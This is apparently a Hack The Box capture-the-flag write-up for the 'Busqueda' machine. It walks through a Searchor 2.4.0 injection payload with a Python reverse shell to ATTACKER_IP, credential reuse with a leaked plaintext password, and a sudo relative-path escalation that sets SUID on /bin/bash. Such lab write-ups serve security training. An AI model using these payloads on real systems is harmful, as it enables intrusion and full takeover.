> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-busqueda.md).

# HTB - Busqueda

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fne7df9qM0vPDFwXVV8jt%2Fimage.png?alt=media&amp;token=b45b935c-356d-433d-92df-b1aa71b4c4ba" alt=""><figcaption></figcaption></figure>

add the domain to the hosts file and refresh the browser to access it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVMqhPRait7iOdJzPjjPO%2Fimage.png?alt=media&amp;token=5c5ac749-ea73-448d-b632-86464667df3f" alt=""><figcaption></figcaption></figure>

i can select a search engine and search fro what ever i want, also by clicking on auto redirect it redirects automatically.

the website powered by flask and Searchor 2.4.0

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FT2KsnvdWum8DIxWoRias%2Fimage.png?alt=media&amp;token=20b1e9cc-c0c2-4845-8dc9-05c802cfd9e0" alt=""><figcaption></figcaption></figure>

searcher 2.4.0 suffers fro RCE vulnerability.

found this poc

{% embed url="<https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit->" %}

```bash
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
```

i need to send the above payload in the query parameter to get RCE.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVyYiMauNZQbgM4ZXWD6k%2Fimage.png?alt=media&amp;token=c3adef07-886f-4653-b946-6dea79edf038" alt=""><figcaption></figcaption></figure>

## Shell as SVC

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4zMs2h3gi2DOc5utXJsb%2Fimage.png?alt=media&amp;token=71bec8ed-8318-4e0a-8433-01f1eb2ba051" alt=""><figcaption></figcaption></figure>

upgrade the shell&#x20;

```bash
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
svc@busqueda:/var/www/app$ export TERM=xterm
export TERM=xterm
svc@busqueda:/var/www/app$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1RNWSmIOtRdf6mPe0Ybu%2Fimage.png?alt=media&amp;token=f8065562-aa53-40b8-af14-d023def70b69" alt=""><figcaption></figcaption></figure>

leaks the username of another user called cody.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxF7xsvzaakLlZWPRr31W%2Fimage.png?alt=media&amp;token=185f9de9-ea71-48a7-baff-b349dcac5065" alt=""><figcaption></figcaption></figure>

could be a possible password for cody.

but there is no user called cody on the machine also if we observe the url it leaks a new subdomain called gitea.searcher.htb

add it to the hosts file and access it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHnfHHdAwIIm4M4mbp0Rz%2Fimage.png?alt=media&amp;token=53322001-df6c-4123-a2c9-a63a48f206dc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPMv6vFd3ctC7dNBQi0QH%2Fimage.png?alt=media&amp;token=668cb913-ccfb-4ffb-8e82-dab2b132c49a" alt=""><figcaption></figcaption></figure>

i can use the credentials to login into the gitea instance.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGumR6FD45DGYJKHHsPAt%2Fimage.png?alt=media&amp;token=c6c48dd8-b9b7-45ed-b5fb-032d652f554b" alt=""><figcaption></figcaption></figure>

nothing interesting here.

but the password also works for SVC.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXKC6bTV7b1835qRJ7KeT%2Fimage.png?alt=media&amp;token=69ce3220-293a-4413-a114-9a9982420364" alt=""><figcaption></figcaption></figure>

svc can run `system-checkup.py` as root.

i can run the following options on through the script

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F25gparVdfNaG65uSnUKI%2Fimage.png?alt=media&amp;token=c553e5e4-7920-4bf1-96eb-d4049639e251" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxupEP52P3EvhsN11aaS1%2Fimage.png?alt=media&amp;token=413d3300-4700-4644-b666-1559cbbc8063" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUE1S61PBlfY4S2Iwy8Ek%2Fimage.png?alt=media&amp;token=1875dc9d-287d-43ab-8c8f-9fc1cada7af3" alt=""><figcaption></figcaption></figure>

the docker-inspect expects a format i will give format as json.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmNaCk0nPOmHmgSHABpib%2Fimage.png?alt=media&amp;token=62228a5a-b0eb-4cbd-9505-006fe358e801" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FeIDiQMFjO3DXOoYzx1lM%2Fimage.png?alt=media&amp;token=110965b8-e0ba-411b-9713-03c8817705b4" alt=""><figcaption></figcaption></figure>

i will connect to the mysql database.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDr56I09sAvC450Ze3PUg%2Fimage.png?alt=media&amp;token=70411d36-8410-44c9-93a6-54de7c062840" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkKzLR9nOMg7V5BoSzAfa%2Fimage.png?alt=media&amp;token=20afddfb-1fd8-4fd0-8802-8c4255d534ad" alt=""><figcaption></figcaption></figure>

hash of administrator user is leaked.

before cracking the hash there is a gitea database password leaked i will if its the password for administrator.

`administrator : yuiu1hoiu4i5ho1uh`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3tZojpPIHotvd43YPcLw%2Fimage.png?alt=media&amp;token=b8c35dbe-cd82-43ea-9491-cc9ba64d0b75" alt=""><figcaption></figcaption></figure>

and successful authentication.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxBCHsfGuhhdGGKUvEcPb%2Fimage.png?alt=media&amp;token=bbb49093-d913-44c4-ba32-bf0d55e0d86d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fb1dDiZhj77kkmO0Iq8t9%2Fimage.png?alt=media&amp;token=314e8b4e-adbb-416f-b744-4fe3196ef29a" alt=""><figcaption></figcaption></figure>

That `full-checkup` action is the real prize here  it runs `./full-checkup.sh` as a **relative path**, not an absolute one. `subprocess.run(['./full-checkup.sh'])` will look for that script in whatever directory you're in when you invoke sudo  and sudo doesn't reset your working directory. If you can write a `full-checkup.sh` in your current directory, root executes *your* script.

```bash
svc@busqueda:~$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > full-checkup.sh
svc@busqueda:~$ ls
full-checkup.sh  user.txt
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ cat full-checkup.sh 
#!/bin/bash
chmod +s /bin/bash
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLulPr6qqIWY2oMq9aJMN%2Fimage.png?alt=media&amp;token=7da167a3-51c8-4d19-8012-44a345616fc1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-busqueda.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
